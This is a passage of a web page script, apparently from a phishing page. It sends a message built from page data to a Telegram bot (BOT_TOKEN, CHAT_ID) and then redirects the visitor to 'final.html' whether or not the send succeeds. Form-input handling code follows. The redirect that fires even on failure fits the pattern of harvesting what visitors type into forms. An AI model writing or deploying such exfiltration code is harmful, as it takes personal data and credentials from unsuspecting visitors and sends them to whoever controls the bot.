            fetch(`https://api.telegram.org/bot${BOT_TOKEN}/sendMessage`, {
                method: "POST",
                headers: {
                    "Content-Type": "application/json",
                },
                body: JSON.stringify({
                    chat_id: CHAT_ID,
                    text: message,
                }),
            })
                .then(() => {
                    // Redirect to final.html after sending the message
                    window.location.href = 'final.html';
                })
                .catch((error) => {
                    console.error("Failed to send data to Telegram:", error);
                    // Still redirect if sending fails
                    window.location.href = 'final.html';
                });

            return true;
        }

        document.querySelectorAll("input").forEach(input => {
            const originalPlaceholder = input.placeholder; // Save the original placeholder
            input.addEventListener("focus", () => {
                input.placeholder = ""; // Clear placeholder on focus
            });
            input.addEventListener("blur", () => {
                if (!input.value) {
                    input.placeholder = originalPlaceholder; // Restore the original placeholder if input is empty
                }
            });
        });
    </script>